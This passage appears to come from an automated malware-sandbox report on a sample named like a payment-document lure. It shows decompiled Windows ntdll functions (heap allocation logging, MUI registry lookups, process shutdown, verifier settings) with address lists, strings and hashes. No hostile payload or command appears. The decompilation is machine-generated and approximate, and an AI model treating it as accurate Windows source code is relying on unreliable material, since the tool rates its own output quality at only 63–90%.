								_push(E3351823A(_t188,  *(_t191 - 0x20)));
								_push( *(_t191 + 8));
								L3346B910("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t191 - 0x24));
								goto L32;
							} else {
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									L3346B910();
								} else {
									L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t191 + 8));
								L3346B910("Just allocated block at %p for %Ix bytes\n",  *0x335647c0);
								L32:
								_t116 =  *[fs:0x30];
								__eflags =  *((char*)(_t116 + 2));
								if( *((char*)(_t116 + 2)) != 0) {
									 *0x335647a1 = 1;
									 *0x33564100 = 0;
									asm("int3");
									 *0x335647a1 = 0;
								}
								goto L47;
							}
						}
					}
				} else {
					_t190 =  *0x33563748; // 0x0
					 *0x335691e0(__ecx, __edx,  *(_t191 + 8));
					_t89 =  *_t190();
					L48:
					 *[fs:0x0] =  *((intOrPtr*)(_t191 - 0x10));
					return _t89;
				}
			}

0x3351f0a5
0x3351f0a7
0x3351f0ac
0x3351f0b3
0x3351f0b5
0x3351f0ba
0x3351f0bd
0x3351f0c7
0x3351f0e3
0x3351f0e6
0x3351f0f4
0x3351f0f9
0x3351f0fb
0x3351f3d2
0x3351f3d2
0x3351f3d5
0x3351f3d5
0x3351f3d8
0x3351f3df
0x3351f3e4
0x00000000
0x3351f3e4
0x3351f104
0x3351f106
0x3351f10b
0x3351f111
0x3351f114
0x3351f117
0x3351f119
0x3351f11c
0x3351f11e
0x3351f11e
0x3351f12e
0x3351f134
0x3351f137
0x3351f13b
0x3351f13b
0x3351f13c
0x3351f13f
0x3351f142
0x3351f144
0x3351f350
0x3351f350
0x3351f356
0x3351f359
0x3351f378
0x3351f37d
0x3351f35b
0x3351f370
0x3351f375
0x3351f383
0x3351f38e
0x00000000
0x3351f14a
0x3351f14a
0x3351f14d
0x00000000
0x00000000
0x3351f153
0x3351f156
0x3351f15e
0x3351f163
0x3351f16a
0x3351f16a
0x3351f170
0x3351f170
0x3351f177
0x3351f186
0x3351f188
0x3351f18b
0x3351f18f
0x3351f194
0x3351f196
0x00000000
0x3351f19c
0x3351f19c
0x3351f19f
0x3351f1a3
0x3351f1ac
0x3351f1ac
0x3351f1ac
0x3351f1ae
0x3351f1b0
0x3351f1b3
0x3351f1b6
0x3351f1bb
0x3351f1c5
0x3351f1c8
0x3351f1ca
0x3351f1cb
0x3351f1cf
0x3351f1cf
0x3351f1c8
0x3351f1d4
0x3351f1d8
0x3351f208
0x3351f20b
0x3351f20e
0x3351f1da
0x3351f1dc
0x3351f1e1
0x3351f1e6
0x3351f1ed
0x3351f1ff
0x3351f1ef
0x3351f1f0
0x3351f1f5
0x3351f1f8
0x3351f1fb
0x3351f1fb
0x3351f202
0x3351f202
0x3351f202
0x3351f211
0x3351f214
0x3351f218
0x3351f21b
0x3351f227
0x3351f22d
0x3351f22d
0x3351f22d
0x3351f22f
0x3351f236
0x3351f238
0x3351f23c
0x3351f23c
0x3351f244
0x3351f24a
0x3351f250
0x3351f2be
0x3351f2c1
0x3351f2c4
0x3351f2c9
0x00000000
0x00000000
0x3351f2cf
0x3351f2d2
0x3351f2d5
0x00000000
0x00000000
0x3351f2db
0x3351f2e2
0x00000000
0x00000000
0x3351f2ec
0x3351f2f3
0x00000000
0x00000000
0x3351f2f9
0x3351f2ff
0x3351f302
0x3351f321
0x3351f326
0x3351f304
0x3351f319
0x3351f31e
0x3351f337
0x3351f338
0x3351f343
0x00000000
0x3351f252
0x3351f252
0x3351f255
0x3351f274
0x3351f279
0x3351f257
0x3351f26c
0x3351f271
0x3351f27f
0x3351f28d
0x3351f295
0x3351f295
0x3351f29b
0x3351f29f
0x3351f2a5
0x3351f2ac
0x3351f2b2
0x3351f2b3
0x3351f2b3
0x00000000
0x3351f29f
0x3351f250
0x3351f196
0x3351f0c9
0x3351f0ce
0x3351f0d6
0x3351f0dc
0x3351f3e7
0x3351f3ea
0x3351f3f6
0x3351f3f6

APIs

RtlDebugPrintTimes.NTDLL ref: 3351F0D6

Strings

HEAP: , xrefs: 3351F274, 3351F321, 3351F378
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 3351F33E
Just allocated block at %p for %Ix bytes, xrefs: 3351F288
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 3351F389
RtlAllocateHeap, xrefs: 3351F0ED
HEAP[%wZ]: , xrefs: 3351F267, 3351F314, 3351F36B

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: f00adb8fb1b772c6551c38d449b32bee4e753ae4eabdc18d11eeeb807dd7ae26
Instruction ID: d539815185dd8fc67673428303600ca94c204f187b05dca9e8a5043f6fc14c67
Opcode Fuzzy Hash: f00adb8fb1b772c6551c38d449b32bee4e753ae4eabdc18d11eeeb807dd7ae26
Instruction Fuzzy Hash: 2D911E79D007849FEF01CFA8E440A9DBBF1FF49314F488659E451EB692CB359962CB14

Uniqueness

Uniqueness Score: -1.00%

Function 3346D02D Relevance: 11.5, Strings: 9, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E3346D02D(void* __ecx, intOrPtr* __edx, intOrPtr _a4) {
				char* _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				char* _v100;
				intOrPtr _v104;
				char _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char* _v124;
				signed int _v128;
				char _v132;
				char _v140;
				signed int _v144;
				char _v145;
				char _v148;
				signed int _v152;
				void* _v156;
				void* _v157;
				signed int _v160;
				void* _v161;
				signed int _v164;
				signed int _v168;
				void* _v172;
				void* _v180;
				void* _v188;
				intOrPtr _t111;
				void* _t128;
				void* _t160;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr* _t179;
				void* _t182;
				char _t184;
				signed int _t185;
				void* _t187;
				void* _t196;

				_t187 = (_t185 & 0xfffffff8) - 0x9c;
				_t160 = __ecx;
				_t179 = __edx;
				_v128 = 0;
				_v160 = 0;
				_v144 = 0;
				_v152 = 0;
				if(__edx == 0 || _a4 == 0) {
					_t182 = 0xc000000d;
					goto L11;
				} else {
					_v128 =  *__edx;
					E334B5050(__ecx,  &_v140, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
					_t184 = 0x18;
					_v132 = _t184;
					_v124 =  &_v148;
					_v128 = 0;
					_push( &_v132);
					_push(0x20019);
					_v120 = 0x40;
					_push( &_v168);
					_v116 = 0;
					_v112 = 0;
					if(L334B2AB0() >= 0) {
						_t182 = L3352ADD6(_v160, _a4,  &_v145,  &_v132);
						if(_t182 >= 0) {
							L11:
							if(_v160 != 0) {
								_push(_v160);
								E334B2A80();
							}
							if(_v144 != 0) {
								_push(_v144);
								E334B2A80();
							}
							if(_v152 != 0) {
								_push(_v152);
								E334B2A80();
							}
							if(_t182 < 0) {
								if(_t179 == 0) {
									goto L19;
								}
								_t162 = _v128;
								if( *_t179 == _t162) {
									goto L19;
								}
								if( *_t179 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t179);
								}
								goto L44;
							} else {
								if( *_t179 != 0) {
									L19:
									return _t182;
								}
								_t111 = L3346DAA8(1);
								 *_t179 = _t111;
								if(_t111 == 0) {
									_t162 = _v128;
									_t182 = 0xc0000017;
									L44:
									 *_t179 = _t162;
								}
								goto L19;
							}
						}
						if(_t160 == 8) {
							 *((char*)(_t187 + 0x13)) = 0;
							if(L3352AD61(_v160, _t187 + 0x13) == 0 &&  *((char*)(_t187 + 0x13)) == 1) {
								_push("true");
								_pop(_t160);
							}
						}
						_push(_v160);
						E334B2A80();
						_v164 = _v164 & 0x00000000;
						_t184 = 0x18;
					}
					_t170 = 0x2000000;
					if(E3346D736(0x2000000,  &_v152) < 0) {
						_v152 = _v152 & 0x00000000;
					}
					if(_t160 != 8) {
						if(_t160 != 4) {
							goto L25;
						}
						if(_v152 == 0) {
							_t128 = 0xc0000034;
						} else {
							E334B5050(_t170,  &_v140, L"Control Panel\\Desktop\\MuiCached\\MachineLanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v44 = _v44 & 0x00000000;
							_v40 = _v40 & 0x00000000;
							_v56 = _v160;
							_v52 =  &_v148;
							_push( &_v60);
							_push(0x20019);
							_v60 = _t184;
							_push( &_v168);
							_v48 = 0x40;
							_t128 = L334B2AB0();
						}
						if(_t128 < 0) {
							E334B5050(_t170,  &_v140, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings\\LanguageConfiguration");
							_v168 = _v168 & 0x00000000;
							_v32 = _v32 & 0x00000000;
							 *(_t187 + 0xa0) =  *(_t187 + 0xa0) & 0x00000000;
							 *(_t187 + 0xa4) =  *(_t187 + 0xa4) & 0x00000000;
							_v28 =  &_v148;
							_push( &_v36);
							_push(0x20019);
							_v36 = _t184;
							_push( &_v168);
							 *((intOrPtr*)(_t187 + 0xa8)) = 0x40;
							_t182 = L334B2AB0();
							if(_t182 < 0) {
								goto L9;
							}
						}
						goto L25;
					} else {
						if(_v152 == 0) {
							L10:
							_t182 = 0;
							goto L11;
						}
						E334B5050(_t170,  &_v140, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
						_v92 = _v92 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_v104 = _v160;
						_t164 = 0x40;
						_v100 =  &_v148;
						_push( &_v108);
						_push(0x20019);
						_v108 = _t184;
						_push( &_v152);
						_v96 = _t164;
						if(L334B2AB0() >= 0) {
							_t170 = _v144;
							_t182 = L3352ADD6(_v144, _a4,  &_v145,  &_v132);
							if(_t182 >= 0) {
								goto L11;
							}
							_t184 = 0x18;
						}
						E334B5050(_t170,  &_v140, L"Control Panel\\Desktop\\LanguageConfiguration");
						_v168 = _v168 & 0x00000000;
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						 *((intOrPtr*)(_t187 + 0x64)) = _v160;
						 *((intOrPtr*)(_t187 + 0x68)) =  &_v148;
						_push( &_v84);
						_push(0x20019);
						_v84 = _t184;
						_push( &_v168);
						_v72 = _t164;
						_t182 = L334B2AB0();
						if(_t182 >= 0) {
							L25:
							_t182 = L3346D9A2(_v160, _t179, _a4);
							goto L11;
						} else {
							_t196 = _t182 - 0xc0000034;
							L9:
							if(_t196 != 0) {
								goto L11;
							}
							goto L10;
						}
					}
				}
			}

0x3346d035
0x3346d03f
0x3346d042
0x3346d044
0x3346d048
0x3346d04c
0x3346d050
0x3346d056
0x334ca5a1
0x00000000
0x3346d065
0x3346d067
0x3346d075
0x3346d07c
0x3346d081
0x3346d085
0x3346d08f
0x3346d093
0x3346d094
0x3346d09d
0x3346d0a5
0x3346d0a6
0x3346d0aa
0x3346d0b5
0x334ca52a
0x334ca52e
0x3346d194
0x3346d199
0x3346d19b
0x3346d19f
0x3346d19f
0x3346d1a9
0x334ca5ab
0x334ca5af
0x334ca5af
0x3346d1b4
0x3346d1b6
0x3346d1ba
0x3346d1ba
0x3346d1c1
0x334ca5bb
0x00000000
0x00000000
0x334ca5c1
0x334ca5c7
0x00000000
0x00000000
0x334ca5d0
0x334ca5df
0x334ca5df
0x00000000
0x3346d1c7
0x3346d1ca
0x3346d1de
0x3346d1e6
0x3346d1e6
0x3346d1cf
0x3346d1d4
0x3346d1d8
0x334ca5e6
0x334ca5ea
0x334ca5ef
0x334ca5ef
0x334ca5ef
0x00000000
0x3346d1d8
0x3346d1c1
0x334ca537
0x334ca541
0x334ca54d
0x334ca556
0x334ca558
0x334ca558
0x334ca54d
0x334ca559
0x334ca55d
0x334ca562
0x334ca569
0x334ca569
0x3346d0bf
0x3346d0cc
0x334ca56f
0x334ca56f
0x3346d0d5
0x3346d1ec
0x00000000
0x00000000
0x3346d1fc
0x3346d2de
0x3346d202
0x3346d20c
0x3346d215
0x3346d21a
0x3346d222
0x3346d22a
0x3346d232
0x3346d23d
0x3346d23e
0x3346d247
0x3346d24e
0x3346d24f
0x3346d25a
0x3346d25a
0x3346d261
0x3346d26d
0x3346d272
0x3346d27b
0x3346d283
0x3346d28b
0x3346d293
0x3346d2a1
0x3346d2a2
0x3346d2ab
0x3346d2b2
0x3346d2b3
0x3346d2c3
0x3346d2c7
0x00000000
0x3346d2e5
0x3346d2c7
0x00000000
0x3346d0db
0x3346d0e0
0x3346d192
0x3346d192
0x00000000
0x3346d192
0x3346d0f0
0x3346d0f9
0x3346d0fe
0x3346d103
0x3346d10d
0x3346d10e
0x3346d116
0x3346d117
0x3346d120
0x3346d124
0x3346d125
0x3346d130
0x334ca580
0x334ca58f
0x334ca593
0x00000000
0x00000000
0x334ca59b
0x334ca59b
0x3346d140
0x3346d149
0x3346d14e
0x3346d153
0x3346d158
0x3346d160
0x3346d168
0x3346d169
0x3346d172
0x3346d176
0x3346d177
0x3346d180
0x3346d184
0x3346d2c9
0x3346d2d7
0x00000000
0x3346d18a
0x3346d18a
0x3346d190
0x3346d190
0x00000000
0x00000000
0x00000000
0x3346d190
0x3346d184
0x3346d0d5

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3346D263
@, xrefs: 3346D2B3
@, xrefs: 3346D09D
h.I3, xrefs: 334CA5D2
@, xrefs: 3346D24F
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3346D202
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3346D0E6
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3346D06F
Control Panel\Desktop\LanguageConfiguration, xrefs: 3346D136

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration$h.I3
API String ID: 0-158694580
Opcode ID: d92889cacf1c52a14ba8a8cd650219543bab1b140b8a358cb60f87cf2f68a2ae
Instruction ID: ee44919da097e37f589df240db62539acdcb00a480a05b75b40f523c3d9cf5c2
Opcode Fuzzy Hash: d92889cacf1c52a14ba8a8cd650219543bab1b140b8a358cb60f87cf2f68a2ae
Instruction Fuzzy Hash: 12A15BB59083459FE721CF20D480B9BB7E8AB89759F00492EF5D8A6241DB74D908CF9B

Uniqueness

Uniqueness Score: -1.00%

Function 3349D6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151
timeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E3349D6D0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t68;
				intOrPtr _t70;
				signed int _t78;
				signed char _t79;
				intOrPtr _t85;
				intOrPtr _t88;
				intOrPtr _t97;
				char _t99;
				signed int _t102;
				signed int _t103;
				signed char _t106;
				signed int _t108;
				signed int _t112;
				intOrPtr _t119;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t127;
				intOrPtr _t129;
				intOrPtr _t134;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t143;

				_push(0x68);
				_push(0x3354c5e8);
				_t68 = E334C7BE4(__ebx, __edi, __esi);
				_t127 =  *[fs:0x18];
				_t97 =  *((intOrPtr*)(_t127 + 0x30));
				if( *0x33565da8 != 0) {
					L19:
					 *[fs:0x0] =  *((intOrPtr*)(_t141 - 0x10));
					return _t68;
				}
				_t102 =  *(_t97 + 0x10);
				 *((intOrPtr*)(_t141 - 0x30)) =  *((intOrPtr*)(_t102 + 0x40));
				_t70 =  *((intOrPtr*)(_t102 + 0x44));
				 *((intOrPtr*)(_t141 - 0x2c)) = _t70;
				_t103 =  *(_t97 + 0x10);
				if(( *(_t103 + 8) & 0x00000001) == 0) {
					 *((intOrPtr*)(_t141 - 0x2c)) = _t70 + _t103;
				}
				if(( *0x335637c0 & 0x00000005) != 0) {
					_push(_t141 - 0x30);
					E334EE692("minkernel\\ntdll\\ldrinit.c", 0x17f5, "LdrShutdownProcess", "true", "Process 0x%p (%wZ) exiting\n",  *((intOrPtr*)(_t127 + 0x20)));
					_t143 = _t143 + 0x1c;
				}
				_t74 =  *((intOrPtr*)(_t127 + 0x24));
				 *0x33565dac =  *((intOrPtr*)(_t127 + 0x24));
				 *0x33565da8 = 1;
				if( *0x335665f0 != 0) {
					_t137 =  *0x335691f8; // 0x0
					asm("ror esi, cl");
					_t138 = _t137 ^  *0x7ffe0330;
					_t103 = _t138;
					 *0x335691e0(0x20);
					_t74 =  *_t138();
				}
				_t118 =  *((intOrPtr*)(_t127 + 0xfb4));
				if( *((intOrPtr*)(_t127 + 0xfb4)) != 0) {
					_push("true");
					E33474779(_t74, _t118);
				}
				if(( *0x3356391c & 0x00000002) == 0) {
					_t78 =  *(_t97 + 0x10);
					__eflags =  *(_t78 + 8) & 0x40000000;
					_t106 = _t103 & 0xffffff00 | ( *(_t78 + 8) & 0x40000000) == 0x00000000;
					__eflags =  *0x33569234 & 0x00000001;
					_t79 = _t78 & 0xffffff00 | ( *0x33569234 & 0x00000001) == 0x00000000;
					__eflags = _t79 & _t106;
					if((_t79 & _t106) == 0) {
						goto L7;
					}
					 *((char*)(_t141 - 0x19)) = 1;
					_t99 = 0;
					L15:
					_t85 =  *[fs:0x30];
					__eflags =  *0x335668c8;
					if( *0x335668c8 != 0) {
						__eflags =  *((intOrPtr*)(_t85 + 0x18)) - _t99;
						if( *((intOrPtr*)(_t85 + 0x18)) != _t99) {
							L334F0FC8();
							 *0x335668c8 = _t99;
						}
					}
					__eflags =  *((char*)(_t141 - 0x19));
					if( *((char*)(_t141 - 0x19)) == 0) {
						L3349D8F0();
					}
					_t68 = L3349D898();
					goto L19;
				}
				L7:
				_t99 = 0;
				 *((char*)(_t141 - 0x19)) = 0;
				_t129 =  *0x33565da0; // 0x3167348
				L8:
				if(_t129 != 0x33565d9c) {
					_t18 = _t129 - 0x10; // 0x3167338
					_t122 = _t18;
					 *((intOrPtr*)(_t141 - 0x24)) = _t122;
					_t20 = _t129 + 4; // 0x3167138
					_t129 =  *_t20;
					 *((intOrPtr*)(_t141 - 0x20)) = _t129;
					_t22 = _t122 + 0x1c; // 0x6fbf9bf0
					_t88 =  *_t22;
					 *((intOrPtr*)(_t141 - 0x28)) = _t88;
					if(_t88 != 0 && ( *(_t122 + 0x34) & 0x00080000) != 0) {
						 *((intOrPtr*)(_t141 - 0x54)) = 0x24;
						 *((intOrPtr*)(_t141 - 0x50)) = 1;
						_push("true");
						_pop(_t112);
						memset(_t141 - 0x4c, 0, _t112 << 2);
						_t143 = _t143 + 0xc;
						_t31 = _t122 + 0x48; // 0x0
						L3348DC40(_t141 - 0x54,  *_t31);
						 *((intOrPtr*)(_t141 - 4)) = _t99;
						_t134 =  *((intOrPtr*)(_t141 - 0x24));
						_t157 =  *((intOrPtr*)(_t134 + 0x3a)) - _t99;
						if( *((intOrPtr*)(_t134 + 0x3a)) != _t99) {
							E3348F0A3(_t99, 0, _t134, _t134, 1, __eflags);
						}
						_push(1);
						_push(_t99);
						L3348DCD1(_t99,  *((intOrPtr*)(_t141 - 0x28)),  *((intOrPtr*)(_t134 + 0x18)), _t134, 1, _t157);
						 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
						_t129 =  *((intOrPtr*)(_t141 - 0x20));
						L3349D886();
					}
					goto L8;
				}
				_t119 =  *0x33565b24; // 0x3142d38
				__eflags =  *((intOrPtr*)(_t119 + 0x3a)) - _t99;
				if( *((intOrPtr*)(_t119 + 0x3a)) != _t99) {
					 *((intOrPtr*)(_t141 - 0x78)) = 0x24;
					 *((intOrPtr*)(_t141 - 0x74)) = 1;
					_push("true");
					_pop(_t108);
					memset(_t141 - 0x70, 0, _t108 << 2);
					_t47 = _t119 + 0x48; // 0x0
					L3348DC40(_t141 - 0x78,  *_t47);
					 *((intOrPtr*)(_t141 - 4)) = 1;
					_t121 =  *0x33565b24; // 0x3142d38
					E3348F0A3(_t99, 0, _t121, _t141 - 0x70 + _t108, 1, __eflags);
					 *((intOrPtr*)(_t141 - 4)) = 0xfffffffe;
					L3349D88F();
				}
				goto L15;
			}

0x3349d6d0
0x3349d6d2
0x3349d6d7
0x3349d6dc
0x3349d6e3
0x3349d6ed
0x3349d810
0x3349d813
0x3349d81f
0x3349d81f
0x3349d6f3
0x3349d6f9
0x3349d6fc
0x3349d6ff
0x3349d702
0x3349d709
0x334df0c2
0x334df0c2
0x3349d716
0x334df0cd
0x334df0e7
0x334df0ec
0x334df0ec
0x3349d71c
0x3349d71f
0x3349d724
0x3349d732
0x3349d86d
0x3349d873
0x3349d875
0x3349d877
0x3349d879
0x3349d87f
0x3349d87f
0x3349d738
0x3349d740
0x3349d742
0x3349d744
0x3349d744
0x3349d750
0x334df0f4
0x334df0f7
0x334df0fe
0x334df101
0x334df108
0x334df10b
0x334df10d
0x00000000
0x00000000
0x334df113
0x334df117
0x3349d7ed
0x3349d7ed
0x3349d7f3
0x3349d7fa
0x334df13c
0x334df13f
0x334df145
0x334df14a
0x334df14a
0x334df13f
0x3349d800
0x3349d804
0x3349d806
0x3349d806
0x3349d80b
0x00000000
0x3349d80b
0x3349d756
0x3349d756
0x3349d75a
0x3349d75d
0x3349d766
0x3349d76c
0x3349d76e
0x3349d76e
0x3349d771
0x3349d774
0x3349d774
0x3349d777
0x3349d77a
0x3349d77a
0x3349d77d
0x3349d782
0x3349d78d
0x3349d794
0x3349d797
0x3349d799
0x3349d79f
0x3349d79f
0x3349d7a1
0x3349d7a7
0x3349d7ac
0x3349d7af
0x3349d7b2
0x3349d7b6
0x3349d7da
0x3349d7da
0x3349d7b8
0x3349d7b9
0x3349d7c0
0x3349d7c5
0x3349d7cc
0x3349d7cf
0x3349d7cf
0x00000000
0x3349d782
0x3349d7e1
0x3349d7e7
0x3349d7eb
0x3349d820
0x3349d827
0x3349d82a
0x3349d82c
0x3349d832
0x3349d834
0x3349d83a
0x3349d83f
0x3349d842
0x3349d84a
0x3349d84f
0x3349d856
0x3349d856
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 3349D879

Part of subcall function 33474779: RtlDebugPrintTimes.NTDLL ref: 33474817

Strings

Process 0x%p (%wZ) exiting, xrefs: 334DF0D1
$, xrefs: 3349D78D
$, xrefs: 3349D820
minkernel\ntdll\ldrinit.c, xrefs: 334DF0E2
LdrShutdownProcess, xrefs: 334DF0D8

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: fba8b73be3b5339acb12a00d17e92eb1ff987e35d53e473af3877bbf511fa0cc
Instruction ID: 38feda1c28afa01882d0b0ab833379fc37e48d4fedfb104846fd0dbe79f14aaf
Opcode Fuzzy Hash: fba8b73be3b5339acb12a00d17e92eb1ff987e35d53e473af3877bbf511fa0cc
Instruction Fuzzy Hash: 6E51ED75E043459FEB04DFA8C984BCDBFF1BF46304F684199E4106B692DB71A982CB98

Uniqueness

Uniqueness Score: -1.00%

Function 3351F51B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

Specified HeapBase (%p) is free or not writable, xrefs: 3351F6F8
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 3351F5FB
Invalid CommitSize parameter - %Ix, xrefs: 3351F5B2
HEAP: , xrefs: 3351F55F, 3351F5A4, 3351F5F0, 3351F655, 3351F6A3, 3351F6EA
Invalid ReserveSize parameter - %Ix, xrefs: 3351F56B
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 3351F664
Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 3351F6B2
HEAP[%wZ]: , xrefs: 3351F552, 3351F597, 3351F5E3, 3351F648, 3351F696, 3351F6DD

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 6fee9be0f381eca1b37d2c3b99995626c95c2bf6b43ede2b5d8af463da760296
Instruction ID: 7db61ae0cb29ec134be9b94e5466379a39b270964b0ba806be023dfe06f7299f
Opcode Fuzzy Hash: 6fee9be0f381eca1b37d2c3b99995626c95c2bf6b43ede2b5d8af463da760296
Instruction Fuzzy Hash: 1C512A36D12344EFFB01CFA4E844E5AB7A4EF04668F144AAAF401DB623CA75D960CE59

Uniqueness

Uniqueness Score: -1.00%

Function 334F8633 Relevance: 9.0, Strings: 7, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E334F8633(char __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				intOrPtr _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v29;
				signed int _v30;
				char _v31;
				intOrPtr _v32;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t50;
				signed int _t51;
				signed int _t52;
				intOrPtr _t69;
				signed int _t76;
				signed int _t88;
				intOrPtr _t92;
				signed int _t97;
				signed int _t103;
				signed int _t121;
				intOrPtr* _t124;
				intOrPtr _t126;
				signed int _t127;
				signed int _t128;
				intOrPtr* _t130;

				_t115 = __edx;
				_t103 = __ecx;
				_t97 = 0;
				_v8 = __edx;
				_v31 = __ecx;
				_t126 =  *[fs:0x30];
				_v12 = _t126;
				_v24 = 0;
				_v28 = 0;
				_t50 = _a8;
				if(_t50 == 0) {
					_t121 = _a16;
					__eflags = _t121;
					if(_t121 != 0) {
						 *_t121 = 0;
						__eflags =  *(_t126 + 0x68) & 0x02000100;
						if(( *(_t126 + 0x68) & 0x02000100) == 0) {
							_t51 = E334F36EC();
							_t103 = _v31;
							__eflags = _t51;
							if(_t51 != 0) {
								_v28 = 2;
							}
						} else {
							_v28 = 1;
						}
						__eflags =  *(_t126 + 0x68) & 0x00000100;
						if(( *(_t126 + 0x68) & 0x00000100) != 0) {
							L35:
							_t52 = 0x48004;
							goto L36;
						} else {
							__eflags = _t103;
							if(_t103 != 0) {
								goto L35;
							}
							_t52 = 0;
							L36:
							_t127 = _a4;
							 *0x33565a74 = _t52;
							 *0x33565000 = 0;
							__eflags = _t127;
							if(_t127 == 0) {
								L40:
								__eflags = _v31;
								if(_v31 != 0) {
									 *0x33565238 = 1;
								}
								L42:
								__eflags = _t127;
								if(__eflags != 0) {
									__eflags = _t52 & 0x00000004;
									if((_t52 & 0x00000004) != 0) {
										L33466CC0(_t127, L"HandleTraces", "true", 0x335669d8, "true", 0);
									}
									L33466CC0(_t127, L"VerifierDebug", "true", 0x335669dc, "true", 0);
									L33466CC0(_t127, L"VerifierDlls", 1, 0x33565000, 0x200, 0);
								}
								_t116 = _v8;
								_t128 = L334F98B2(0x33441b98, _v8, __eflags, _t127, _a12, 0x33565260);
								__eflags = _t128;
								if(_t128 >= 0) {
									 *_t121 = 0x33565260;
									_t128 = L334F8FBB();
									__eflags = _t128;
									if(_t128 >= 0) {
										L334A1D66(0x33441b98, _t116, 0);
										 *0x33569234 = _v32;
										L334A1D66(0x33441b98, _t116, 1);
									}
								}
								L49:
